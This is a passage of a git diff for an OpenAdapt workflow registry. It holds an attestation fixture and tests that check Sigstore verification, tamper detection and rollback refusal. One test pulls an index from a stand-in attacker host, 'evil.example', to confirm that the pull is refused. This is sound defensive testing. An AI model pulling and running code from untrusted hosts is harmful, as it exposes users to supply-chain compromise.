YVYwWnJZM2s1ZEZsWGJIVk5TVWRLUW1kdmNrSm5SVVZCWkZvMVFXZFJRMEpJYzBWbFVVSXpRVWhWUVROVU1IZGhjMkpJQ2tWVVNtcEhValJqYlZkak0wRnhTa3RZY21wbFVFc3pMMmcwY0hsblF6aHdOMjgwUVVGQlIyaG5MMngyZDNkQlFVSkJUVUZTYWtKRlFXbENURVl4VDNJS1oxaE1ZWGxwT0hjelJVcHdUbmRPUjAxUmVHRTFiRkZFYXpWQ01EVklTa3BsY1U1V2FYZEpaMHhXZEdwTFNXVjJXVTB2V1ZnckswaEhVVkZOU25oQkt3cHlWbnBoU0dOUFoyUnZPVzQxVkhkTmFIRk5kME5uV1VsTGIxcEplbW93UlVGM1RVUmhVVUYzV21kSmVFRlBTa1pEU1VWcWFGZDBaa1JNWkZCV1IyWXdDbHBXVGxVd1QyUmlkMU56UlVZM1QyRTFka05TYzFZcmIyRlVWbXRRV1ZaMGMwbFdRMlozWmtkRVdreEhSMEZKZUVGTVVqUXZUbU41VlVKVFNIWlRVRVVLZUdsTVZYQkJSbEpqZURRMU9UaEVjVm81UjJWaVlYaEtiMWhWVUUxR1RVdEJaREZYY2podlQyOTRSMDlsYm5CbGFIYzlQUW90TFMwdExVVk9SQ0JEUlZKVVNVWkpRMEZVUlMwdExTMHRDZz09In1dfX0="}], "timestampVerificationData": {}, "certificate": {"rawBytes": "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"}}, "dsseEnvelope": {"payload": "eyJfdHlwZSI6Imh0dHBzOi8vaW4tdG90by5pby9TdGF0ZW1lbnQvdjEiLCJzdWJqZWN0IjpbeyJuYW1lIjoiU0hBMjU2U1VNUyIsImRpZ2VzdCI6eyJzaGEyNTYiOiJkYjdiMWI1M2UxMDdiZGQwNmJlYTdiMDk2OWY1MmM1MmNmY2ZmMTcwNjhiOWFjNTQzZTQ2M2Y4YTdlYWJkOTIwIn19XSwicHJlZGljYXRlVHlwZSI6Imh0dHBzOi8vc2xzYS5kZXYvcHJvdmVuYW5jZS92MSIsInByZWRpY2F0ZSI6eyJidWlsZERlZmluaXRpb24iOnsiYnVpbGRUeXBlIjoiaHR0cHM6Ly9hY3Rpb25zLmdpdGh1Yi5pby9idWlsZHR5cGVzL3dvcmtmbG93L3YxIiwiZXh0ZXJuYWxQYXJhbWV0ZXJzIjp7IndvcmtmbG93Ijp7InJlZiI6InJlZnMvaGVhZHMvbWFpbiIsInJlcG9zaXRvcnkiOiJodHRwczovL2dpdGh1Yi5jb20vT3BlbkFkYXB0QUkvT3BlbkFkYXB0IiwicGF0aCI6Ii5naXRodWIvd29ya2Zsb3dzL2Rlc2t0b3AtcmVsZWFzZS55bWwifX0sImludGVybmFsUGFyYW1ldGVycyI6eyJnaXRodWIiOnsiZXZlbnRfbmFtZSI6IndvcmtmbG93X3J1biIsInJlcG9zaXRvcnlfaWQiOiI2MjcwMjQ4NTAiLCJyZXBvc2l0b3J5X293bmVyX2lkIjoiMTMyNjgxMjE3IiwicnVubmVyX2Vudmlyb25tZW50IjoiZ2l0aHViLWhvc3RlZCJ9fSwicmVzb2x2ZWREZXBlbmRlbmNpZXMiOlt7InVyaSI6ImdpdCtodHRwczovL2dpdGh1Yi5jb20vT3BlbkFkYXB0QUkvT3BlbkFkYXB0QHJlZnMvaGVhZHMvbWFpbiIsImRpZ2VzdCI6eyJnaXRDb21taXQiOiI4OWMyMDBiYzgxYWE3ZjUyNjJjYjk0YjkzOWFjYWQ5N2IxZmQxNDQ0In19XX0sInJ1bkRldGFpbHMiOnsiYnVpbGRlciI6eyJpZCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9PcGVuQWRhcHRBSS9PcGVuQWRhcHQvLmdpdGh1Yi93b3JrZmxvd3MvZGVza3RvcC1yZWxlYXNlLnltbEByZWZzL2hlYWRzL21haW4ifSwibWV0YWRhdGEiOnsiaW52b2NhdGlvbklkIjoiaHR0cHM6Ly9naXRodWIuY29tL09wZW5BZGFwdEFJL09wZW5BZGFwdC9hY3Rpb25zL3J1bnMvNDA3NTEwOTQxMjcvYXR0ZW1wdHMvMSJ9fX19", "payloadType": "application/vnd.in-toto+json", "signatures": [{"sig": "MEUCIQD0IWqh+wte6DVWC3YQX1tz7UwDErUIAWQ2fqZzBHJGVwIgZIXur3rMjQxFFiq5ctYBRQf/26jzV5FdP8qTbRgqEZ0="}]}} \ No newline at end of file diff --git a/packages/flow/tests/test_skills_registry.py b/packages/flow/tests/test_skills_registry.py index 61dc7173c..fe4a03a9b 100644 --- a/packages/flow/tests/test_skills_registry.py +++ b/packages/flow/tests/test_skills_registry.py @@ -326,68 +326,99 @@ def test_a_lock_without_provenance_is_refused(tmp_path): assert "no registry provenance" in skills.pulled_skill_refusal(tmp_path / "b") -# -- signatures ------------------------------------------------------------------------ +# -- the index's attestation ------------------------------------------------------------- -SEED = bytes(range(32)) +def _attest(index: Path, *, now=None) -> Path: + """Stamp the local index and attest it, and its archives, with the test signer.""" -def _signed_registry(tmp_path): - from openadapt_flow.ed25519ph import public_key + import hashlib + + from openadapt_flow import registry_attest - index = _registry(tmp_path) data = json.loads(index.read_text()) - registry.sign_index(data, SEED, "test-key") + registry.stamp_index(data, now=now) index.write_text(json.dumps(data)) - return index, {"test-key": public_key(SEED)} + subjects = {"index.json": hashlib.sha256(index.read_bytes()).hexdigest()} + for archive in index.parent.glob("*.tar.gz"): + subjects[archive.name] = hashlib.sha256(archive.read_bytes()).hexdigest() + (index.parent / registry_attest.ATTESTATION_NAME).write_text( + json.dumps(registry_attest.sign_test(subjects)) + ) + return index -def test_a_signed_entry_pulls_and_records_its_signer(tmp_path): +def test_an_attested_index_pulls_and_records_who_attested_it(tmp_path): from openadapt_flow.ir import Workflow - index, keys = _signed_registry(tmp_path) + index = _attest(_registry(tmp_path)) dest = registry.pull( - "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=keys + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, ) origin = Workflow.load(dest).registry - assert origin.signed_by == "test-key" and origin.version == "1.0.0" + assert origin.signed_by == "test:openadapt-registry-test" + assert origin.version == "1.0.0" + assert skills.read_lock(dest)["signed_by"] == origin.signed_by -def test_an_unsigned_entry_needs_allow_unsigned(tmp_path): +def test_an_index_without_an_attestation_needs_allow_unsigned(tmp_path): index = _registry(tmp_path) - with pytest.raises(registry.RegistryError, match="not signed"): + with pytest.raises(registry.RegistryError, match="no attestation"): + registry.pull("openemr/new-referral", tmp_path / "u", index_url=str(index)) + assert not (tmp_path / "u").exists() + + +def test_the_test_signer_needs_allow_test_key(tmp_path): + index = _attest(_registry(tmp_path)) + with pytest.raises(registry.RegistryError, match="local test signer"): + registry.pull("openemr/new-referral", tmp_path / "u", index_url=str(index)) + with pytest.raises(registry.RegistryError, match="local test signer"): + # An attestation that is present must hold, even with --allow-unsigned. registry.pull( - "openemr/new-referral", tmp_path / "u", index_url=str(index), keys={} + "openemr/new-referral", + tmp_path / "u", + index_url=str(index), + allow_unsigned=True, ) - assert not (tmp_path / "u").exists() -@pytest.mark.parametrize("tamper", ["file_hash", "version", "signature", "unknown_key"]) -def test_a_tampered_or_foreign_entry_is_refused_before_anything_is_written( +@pytest.mark.parametrize("tamper", ["file_hash", "version", "signature", "subject"]) +def test_a_changed_index_or_attestation_is_refused_before_anything_is_written( tmp_path, tamper ): - index, keys = _signed_registry(tmp_path) + from openadapt_flow import registry_attest + + index = _attest(_registry(tmp_path)) + attestation = index.parent / registry_attest.ATTESTATION_NAME data = json.loads(index.read_text()) item = next(i for i in data["workflows"] if i["id"] == "openemr/new-referral") if tamper == "file_hash": item["files"]["workflow.json"] = "0" * 64 + index.write_text(json.dumps(data)) elif tamper == "version": item["version"] = "9.9.9" + index.write_text(json.dumps(data)) elif tamper == "signature": - item["signature"]["ed25519ph"] = registry.sign_entry( - item, bytes(32), "test-key" - )["ed25519ph"] + envelope = json.loads(attestation.read_text()) + envelope["dsseEnvelope"]["signatures"][0]["sig"] = registry_attest.sign_test( + {"index.json": "0" * 64} + )["dsseEnvelope"]["signatures"][0]["sig"] + attestation.write_text(json.dumps(envelope)) else: - item["signature"]["key_id"] = "someone-else" - index.write_text(json.dumps(data)) + attestation.write_text( + json.dumps(registry_attest.sign_test({"index.json": "0" * 64})) + ) with pytest.raises( - registry.RegistryError, match="signed by an unknown key|does not match" + registry.RegistryError, match="does not name this index|does not hold" ): registry.pull( "openemr/new-referral", tmp_path / "t", index_url=str(index), - keys=keys, - allow_unsigned=True, + allow_test_key=True, ) assert not (tmp_path / "t").exists() @@ -556,34 +587,6 @@ def test_a_full_contract_needs_a_url_and_a_digest(): registry.validate_index({"workflows": [item]}) -# -- no key whose seed is public is trusted ------------------------------------------ - - -def test_a_key_flagged_test_in_the_trust_root_is_ignored(tmp_path, monkeypatch): - from openadapt_flow.ed25519ph import public_key - - keys_file = tmp_path / "keys.json" - keys_file.write_text( - json.dumps( - { - "keys": { - "test-key": { - "public": __import__("base64") - .b64encode(public_key(SEED)) - .decode(), - "test": True, - } - } - } - ) - ) - monkeypatch.setattr(registry, "KEYS_FILE", keys_file) - assert registry.trusted_keys() == {} - index, _ = _signed_registry(tmp_path) - with pytest.raises(registry.RegistryError, match="unknown key"): - registry.pull("openemr/new-referral", tmp_path / "a", index_url=str(index)) - - # -- bundles as release assets -------------------------------------------------------------- @@ -632,74 +635,3 @@ def test_the_archive_is_reproducible(tmp_path): a = registry.build_archive(bundle, tmp_path / "a.tar.gz") b = registry.build_archive(bundle, tmp_path / "b.tar.gz") assert a == b - - -# -- the index's transparency-log anchor ------------------------------------------------ - - -@pytest.fixture -def rekor(): - from tests.test_seal_anchor import FakeRekor - - return FakeRekor() - - -def _anchored(tmp_path, rekor): - from openadapt_flow.ed25519ph import public_key - - index = _registry(tmp_path) - data = json.loads(index.read_text()) - registry.sign_index(data, SEED, "test-key") - index.write_text(json.dumps(data)) - registry.anchor_index( - index, SEED, log_keys=[rekor.log], submit=rekor.submit, env={} - ) - return index, {"test-key": public_key(SEED)} - - -def test_an_anchored_index_pulls(tmp_path, rekor): - index, keys = _anchored(tmp_path, rekor) - assert (index.parent / registry.ANCHOR_NAME).is_file() - dest = registry.pull( - "openemr/new-referral", - tmp_path / "s", - index_url=str(index), - keys=keys, - log_keys=[rekor.log], - ) - assert (dest / "workflow.json").is_file() - - -def test_an_index_changed_after_anchoring_is_refused(tmp_path, rekor): - index, keys = _anchored(tmp_path, rekor) - data = json.loads(index.read_text()) - # A change no entry signature covers (a planned entry's title), re-signed - # as a whole: only the anchor still names the published index. - for item in data["workflows"]: - if item["status"] == "planned": - item["title"] = "something else" - registry.sign_index(data, SEED, "test-key") - index.write_text(json.dumps(data)) - with pytest.raises(registry.RegistryError, match="anchor does not hold"): - registry.pull( - "openemr/new-referral", - tmp_path / "s", - index_url=str(index), - keys=keys, - log_keys=[rekor.log], - ) - assert not (tmp_path / "s").exists() - - -def test_an_anchor_by_a_key_the_registry_does_not_trust_is_refused(tmp_path, rekor): - index, _ = _anchored(tmp_path, rekor) - with pytest.raises( - registry.RegistryError, match="unknown key|anchor does not hold" - ): - registry.pull( - "openemr/new-referral", - tmp_path / "s", - index_url=str(index), - keys={"other": bytes(32)}, - log_keys=[rekor.log], - ) diff --git a/packages/flow/tests/test_skills_registry_review.py b/packages/flow/tests/test_skills_registry_review.py index 41d9325b6..ca57a6eef 100644 --- a/packages/flow/tests/test_skills_registry_review.py +++ b/packages/flow/tests/test_skills_registry_review.py @@ -14,6 +14,7 @@ import json import tarfile from datetime import datetime, timedelta, timezone +from pathlib import Path from types import SimpleNamespace import pytest @@ -22,8 +23,8 @@ from tests.test_skills_registry import ( CONTRACT, ROOT, - SEED, VARS, + _attest, _bind_all, _qualify_on, _record_qualified, @@ -37,12 +38,6 @@ def _own_state(tmp_path, monkeypatch): monkeypatch.setenv("OPENADAPT_HOME", str(tmp_path / "openadapt-home")) -def _keys(): - from openadapt_flow.ed25519ph import public_key - - return {"test-key": public_key(SEED)} - - def _index(tmp_path, *, contract=CONTRACT, contract_vars=VARS, mutate=None): index = _registry(tmp_path, contract=contract) data = json.loads(index.read_text()) @@ -298,23 +293,24 @@ def test_an_oversized_private_contract_is_refused(tmp_path, monkeypatch): assert not (tmp_path / "skill.private").exists() -# -- 4. the signature checks can't be switched off ------------------------------------------- +# -- 4. the attestation checks can't be switched off for a remote index --------------------- -def test_allow_unsigned_is_refused_for_a_remote_index(tmp_path, monkeypatch): +def test_the_local_flags_are_refused_for_a_remote_index(tmp_path, monkeypatch): def no_read(*a, **k): raise AssertionError("nothing may be fetched") monkeypatch.setattr(registry, "_read", no_read) - with pytest.raises( - registry.RegistryError, match="only to an index on the local disk" - ): - registry.pull( - "openemr/new-referral", - tmp_path / "s", - index_url="https://evil.example/index.json", - allow_unsigned=True, - ) + for flag in ("allow_unsigned", "allow_test_key"): + with pytest.raises( + registry.RegistryError, match="only to an index on the local disk" + ): + registry.pull( + "openemr/new-referral", + tmp_path / "s", + index_url="https://evil.example/index.json", + **{flag: True}, + ) with pytest.raises(registry.RegistryError, match="plain http"): registry.pull( "openemr/new-referral", @@ -323,122 +319,178 @@ def no_read(*a, **k): ) -def test_the_shipped_trust_root_holds_no_key_with_a_public_seed(): - from openadapt_flow.ed25519ph import public_key +def _mirror(monkeypatch, index): + """Serve a local index directory as if from an https mirror.""" - data = json.loads(registry.KEYS_FILE.read_text()) - published = { - spec["public"] if isinstance(spec, dict) else spec - for spec in (data.get("keys") or {}).values() - } - old_test_seed = hashlib.sha256( - b"openadapt-registry-TEST-key: not secret, accepted only with --allow-test-key" - ).digest() - assert base64.b64encode(public_key(old_test_seed)).decode() not in published - assert not any( - isinstance(spec, dict) and spec.get("test") - for spec in (data.get("keys") or {}).values() - ) - assert not hasattr(registry, "TEST_KEY_SEED") + base = "https://mirror.example/registry/" + real = registry._read + def read(location, **kw): + if location.startswith(base): + return (index.parent / location[len(base) :]).read_bytes() + return real(location, **kw) + + monkeypatch.setattr(registry, "_read", read) + return base + "index.json" + + +def test_a_remote_index_attested_by_the_test_signer_is_refused(tmp_path, monkeypatch): + url = _mirror(monkeypatch, _attest(_index(tmp_path))) + with pytest.raises(registry.RegistryError, match="local test signer"): + registry.pull("openemr/new-referral", tmp_path / "s", index_url=url) + assert not (tmp_path / "s").exists() -def test_pull_has_no_test_key_flag_and_no_hint_to_bypass(tmp_path): - import argparse - parser = argparse.ArgumentParser() - registry.add_parser(parser.add_subparsers()) - with pytest.raises(SystemExit): - parser.parse_args(["pull", "a/b", "--allow-test-key"]) +def test_a_remote_index_without_an_attestation_is_refused(tmp_path, monkeypatch): + url = _mirror(monkeypatch, _index(tmp_path)) + with pytest.raises(registry.RegistryError, match="attestation .* can't be read"): + registry.pull("openemr/new-referral", tmp_path / "s", index_url=url) + assert not (tmp_path / "s").exists() + + +def test_no_signing_key_ships_and_no_error_hints_at_a_bypass(tmp_path): + from openadapt_flow import registry_attest + + package = Path(registry.__file__).parent + assert not (package / "registry_keys.json").exists() + assert not hasattr(registry, "trusted_keys") with pytest.raises(registry.RegistryError) as info: registry.pull( "openemr/new-referral", tmp_path / "s", index_url=str(_index(tmp_path)) ) assert "--allow" not in str(info.value) + assert registry_attest.REGISTRY_IDENTITY.san.match( + "https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/" + "release-registry.yml@refs/tags/registry-2026-10-28" + ) + for other in ( + "https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/" + "release-registry.yml@refs/heads/main", + "https://github.com/OpenAdaptAI/OpenAdapt/.github/workflows/" + "desktop-release.yml@refs/tags/registry-1", + "https://github.com/someone/OpenAdapt/.github/workflows/" + "release-registry.yml@refs/tags/registry-1", + ): + assert not registry_attest.REGISTRY_IDENTITY.san.match(other) -# -- 5. no rollback, no freeze, no stripped anchor ----------------------------------------- - - -def _signed(tmp_path, *, now=None, drop=None): - index = _index(tmp_path) - data = json.loads(index.read_text()) - registry.sign_index(data, SEED, "test-key", now=now) - if drop: - data["workflows"] = [i for i in data["workflows"] if i["id"] != drop] - index.write_text(json.dumps(data)) - return index, data +# -- 5. no rollback, no freeze --------------------------------------------------------------- def test_an_expired_index_is_refused(tmp_path): - index, _ = _signed(tmp_path, now=datetime.now(timezone.utc) - timedelta(days=31)) + index = _attest( + _index(tmp_path), now=datetime.now(timezone.utc) - timedelta(days=31) + ) with pytest.raises(registry.RegistryError, match="expired"): registry.pull( - "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, ) def test_an_index_issued_in_the_future_is_refused(tmp_path): - index, _ = _signed(tmp_path, now=datetime.now(timezone.utc) + timedelta(hours=1)) + index = _attest( + _index(tmp_path), now=datetime.now(timezone.utc) + timedelta(hours=1) + ) with pytest.raises(registry.RegistryError, match="future"): registry.pull( - "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, ) def test_an_older_index_is_refused_once_a_newer_one_was_seen(tmp_path): now = datetime.now(timezone.utc) - index, data = _signed(tmp_path, now=now) + index = _attest(_index(tmp_path), now=now) registry.pull( - "openemr/new-referral", tmp_path / "a", index_url=str(index), keys=_keys() + "openemr/new-referral", + tmp_path / "a", + index_url=str(index), + allow_test_key=True, ) - # Yesterday's index, validly signed, served again from the same place. - registry.sign_index(data, SEED, "test-key", now=now - timedelta(days=2)) - index.write_text(json.dumps(data)) + # Yesterday's index, validly attested, served again from the same place. + _attest(index, now=now - timedelta(days=2)) with pytest.raises(registry.RegistryError, match="older than"): registry.pull( - "openemr/new-referral", tmp_path / "b", index_url=str(index), keys=_keys() + "openemr/new-referral", + tmp_path / "b", + index_url=str(index), + allow_test_key=True, ) assert not (tmp_path / "b").exists() -def test_an_entry_dropped_from_a_signed_index_is_refused(tmp_path): - index, _ = _signed(tmp_path, drop="openimis/claim-intake") - with pytest.raises( - registry.RegistryError, match="index's signature does not match" - ): +def test_an_entry_dropped_from_an_attested_index_is_refused(tmp_path): + index = _attest(_index(tmp_path)) + data = json.loads(index.read_text()) + data["workflows"] = [ + i for i in data["workflows"] if i["id"] != "openimis/claim-intake" + ] + index.write_text(json.dumps(data)) + with pytest.raises(registry.RegistryError, match="does not name this index"): registry.pull( - "openemr/new-referral", tmp_path / "s", index_url=str(index), keys=_keys() + "openemr/new-referral", + tmp_path / "s", + index_url=str(index), + allow_test_key=True, ) -def test_a_remote_index_without_an_anchor_is_refused(tmp_path, monkeypatch): - index, _ = _signed(tmp_path) - base = "https://mirror.example/registry/" - real = registry._read - - def mirror(location, **kw): - if location.startswith(base): - return (index.parent / location[len(base) :]).read_bytes() - return real(location, **kw) - - monkeypatch.setattr(registry, "_read", mirror) - with pytest.raises(registry.RegistryError, match="anchor .* can't be read"): +def test_an_archive_the_attestation_does_not_name_is_refused(tmp_path): + index = _index(tmp_path) + bundle = index.parent / "bundles/openemr/new-referral" + asset = index.parent / "a.tar.gz" + digest = registry.build_archive(bundle, asset) + _attest(index) # the attestation names a.tar.gz as built + data = json.loads(index.read_text()) + for item in data["workflows"]: + if item["id"] == "openemr/new-referral": + # A different archive, pinned by an index that is then attested. + other = index.parent / "b.tar.gz" + item["archive"] = { + "url": other.name, + "sha256": registry.build_archive(bundle, other, notice="x\n"), + } + index.write_text(json.dumps(data)) + other.unlink() + asset.rename(index.parent / "kept.tar.gz") + _attest(index) # names index.json and kept.tar.gz, not b.tar.gz + with pytest.raises( + registry.RegistryError, match="does not name this entry's archive" + ): registry.pull( "openemr/new-referral", tmp_path / "s", - index_url=base + "index.json", - keys=_keys(), + index_url=str(index), + allow_test_key=True, ) - assert not (tmp_path / "s").exists() + assert digest -def test_the_release_workflow_adds_the_anchor_by_name(): +def test_the_release_workflow_attests_and_adds_the_attestation_by_name(): text = (ROOT.parents[1] / ".github/workflows/release-registry.yml").read_text() + assert "actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6" in text assert ( - "git add packages/flow/registry/index.json packages/flow/registry/index.anchor.json" - in text + "git add packages/flow/registry/index.json " + "packages/flow/registry/index.sigstore.json" in text ) assert "commit -am" not in text + assert "REGISTRY_SIGNING_SEED" not in text and "registry-signing" not in text + # id-token: write only on the job that attests. + import yaml + + jobs = yaml.safe_load(text)["jobs"] + granted = [ + name + for name, job in jobs.items() + if (job.get("permissions") or {}).get("id-token") == "write" + ] + assert granted == ["attest"] + assert jobs["attest"]["environment"] == "release-identity" # -- 6. stripping the provenance doesn't make an unqualified pull runnable ------------------ @@ -683,13 +735,130 @@ def test_a_release_outranks_its_pre_release(): assert ordered == ["1.2.0-rc.1", "1.2.0-rc.2", "1.2.0-rc.10", "1.2.0"] -def test_the_signing_environment_is_hash_pinned(): - text = (ROOT / "registry/signing-requirements.txt").read_text() +def test_the_release_verifier_environment_is_hash_pinned(): + text = (ROOT / "registry/verify-requirements.txt").read_text() requirements = [ line for line in text.splitlines() if line and not line.startswith((" ", "#")) ] assert requirements and all("==" in line for line in requirements) + assert any(line.startswith("sigstore==") for line in requirements) assert text.count("--hash=sha256:") >= len(requirements) workflow = (ROOT.parents[1] / ".github/workflows/release-registry.yml").read_text() - sign_job = workflow.split("\n sign:\n", 1)[1].split("\n publish-github:\n", 1)[0] - assert "--require-hashes" in sign_job and "pip install -e" not in sign_job + attest_job = workflow.split("\n attest:\n", 1)[1].split("\n publish:\n", 1)[0] + assert "--require-hashes" in attest_job and "pip install -e" not in attest_job + + +# -- the real Sigstore path: a bundle GitHub attested for an OpenAdapt release ----------------- + +FIXTURES = ROOT / "tests/fixtures/registry" + + +def _desktop_identity(): + import re + + from openadapt_flow import registry_attest + + return registry_attest.Identity( + issuer="https://token.actions.githubusercontent.com", + san=re.compile( + r"^https://github\.com/OpenAdaptAI/OpenAdapt/\.github/workflows/" + r"desktop-release\.yml@refs/heads/main$" + ), + source_repository_uri="https://github.com/OpenAdaptAI/OpenAdapt", + ) + + +def _desktop_bundle(): + return json.loads( + (FIXTURES / "desktop-0.24.1-SHA256SUMS.sigstore.json").read_text() + ) + + +def test_a_real_release_attestation_verifies_offline_with_the_pinned_root(): + pytest.importorskip("sigstore") + from openadapt_flow import registry_attest + + signer, subjects = registry_attest.verify_sigstore( + _desktop_bundle(), + identity=_desktop_identity(), + trusted_root=registry_attest.TRUSTED_ROOT_FILE, + ) + assert signer.endswith("desktop-release.yml@refs/heads/main") + assert subjects == { + "SHA256SUMS": hashlib.sha256( + (FIXTURES / "desktop-0.24.1-SHA256SUMS").read_bytes() + ).hexdigest() + } + + +def test_a_real_attestation_from_another_workflow_is_not_the_registry(): + pytest.importorskip("sigstore") + from openadapt_flow import registry_attest + + with pytest.raises( + registry_attest.AttestationError, match="not the pinned workflow" + ): + registry_attest.verify_sigstore( + _desktop_bundle(), trusted_root=registry_attest.TRUSTED_ROOT_FILE + ) + + +def test_a_real_attestation_with_its_statement_changed_is_refused(): + pytest.importorskip("sigstore") + from openadapt_flow import registry_attest + + bundle = _desktop_bundle() + statement = json.loads(base64.b64decode(bundle["dsseEnvelope"]["payload"])) + statement["subject"][0]["digest"]["sha256"] = "0" * 64 + bundle["dsseEnvelope"]["payload"] = base64.b64encode( + json.dumps(statement).encode() + ).decode() + with pytest.raises(registry_attest.AttestationError, match="does not hold"): + registry_attest.verify_sigstore( + bundle, + identity=_desktop_identity(), + trusted_root=registry_attest.TRUSTED_ROOT_FILE, + ) + + +def test_a_trusted_root_without_the_signers_keys_refuses_it(tmp_path): + pytest.importorskip("sigstore") + from openadapt_flow import registry_attest + + root = json.loads(registry_attest.TRUSTED_ROOT_FILE.read_text()) + root["certificateAuthorities"] = [] + empty = tmp_path / "trusted_root.json" + empty.write_text(json.dumps(root)) + with pytest.raises(registry_attest.AttestationError): + registry_attest.verify_sigstore( + _desktop_bundle(), identity=_desktop_identity(), trusted_root=empty + ) + + +def test_a_refreshed_trusted_root_is_preferred(tmp_path, monkeypatch): + from openadapt_flow import registry_attest + + assert registry_attest.trusted_root_path() == registry_attest.TRUSTED_ROOT_FILE + refreshed = registry_attest.refreshed_trusted_root() + refreshed.parent.mkdir(parents=True) + refreshed.write_text("{}") + assert registry_attest.trusted_root_path() == refreshed + + +def test_without_sigstore_a_remote_pull_says_what_to_install(monkeypatch): + import builtins + + from openadapt_flow import registry_attest + + real_import = builtins.__import__ + + def no_sigstore(name, *a, **k): + if name == "sigstore" or name.startswith("sigstore."): + raise ImportError(name) + return real_import(name, *a, **k) + + monkeypatch.setattr(builtins, "__import__", no_sigstore) + with pytest.raises( + registry_attest.AttestationError, match=r"openadapt-flow\[registry\]" + ): + registry_attest.verify_sigstore(_desktop_bundle()) diff --git a/packages/flow/uv.lock b/packages/flow/uv.lock index 543e95ac1..911c9051f 100644 --- a/packages/flow/uv.lock +++ b/packages/flow/uv.lock @@ -684,6 +684,34 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/12/b3/231ffd4ab1fc9d679809f356cebee130ac7daa00d6d6f3206dd4fd137e9e/distro-1.9.0-py3-none-any.whl", hash = "sha256:7bffd925d65168f85027d8da9af6bddab658135b840670a223589bc0c8ef02b2", size = 20277, 